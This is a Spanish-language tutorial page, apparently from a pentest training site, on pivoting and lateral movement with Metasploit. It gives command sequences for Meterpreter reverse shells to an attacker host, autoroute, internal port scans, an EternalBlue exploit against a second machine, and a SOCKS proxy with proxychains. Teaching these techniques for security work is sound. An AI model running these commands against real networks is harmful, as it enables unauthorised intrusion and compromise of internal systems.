GhostAcademy logo GhostAcademy

Pivoting

REDES Y SISTEMAS MOVIMIENTO LATERAL METASPLOIT AUTOROUTE SOCKS

🌍 Pivoting: Movimiento Lateral a través de Redes

Pivoting es la técnica de usar una máquina comprometida como puente para alcanzar otras máquinas en redes internas no directamente accesibles desde el atacante. Metasploit facilita esto con rutas automáticas y proxies SOCKS.

Técnica MITRE ATT&CK: T1090 - Proxy y T1021 - Remote Services. Táctica: TA0008 - Lateral Movement.
EscenarioDescripción
Máquina A (pivot)Comprometida, accesible desde el atacante y la red interna
Máquina B (objetivo)Solo en la red interna, no alcanzable directamente
AtacanteSolo puede llegar a la máquina A directamente

💥 Fase 1 — Comprometer la máquina pivot (A)

Obtener sesión en máquina A
msfconsole -q
use exploit/...
set RHOSTS <IP_maquina_A>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
Descubrir interfaces de red en A
# En la sesión Meterpreter de A:
ifconfig
# o ipconfig en Windows
# Identificar la subred interna

🗺 Fase 2 — Configurar rutas y pivot

Añadir ruta a la red interna
# Desde Meterpreter en A:
run autoroute -s 10.10.10.0/24   # subred interna
run autoroute -p                  # verificar rutas
Escanear red interna a través del pivot
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.10.10.0/24
set PORTS 1-1000
exploit
# Descubre servicios en máquina B

💥 Fase 3 — Explotar máquina interna (B)

Lanzar exploit contra B via pivot
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <IP_maquina_B>
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST <IP_atacante>
exploit
# Sesión en B a través del pivot
Proxy SOCKS para herramientas externas
use auxiliary/server/socks_proxy
set SRVPORT 1080
exploit

# En otra terminal, usar proxychains:
proxychains nmap -sT 10.10.10.0/24

📋 Flujo del ataque

1
Comprometer AObtener sesión Meterpreter en la máquina pivot.
2
DescubrimientoIdentificar la subred interna desde la máquina A.
3
Rutasautoroute para enrutar tráfico Metasploit por el pivot.
4
Escaneo internoDescubrir servicios en la red interna.
5
Explotación BObtener sesión en máquina B a través del pivot.
6
SOCKSConfigurar proxy para herramientas externas (nmap, curl).

🧠 Conceptos clave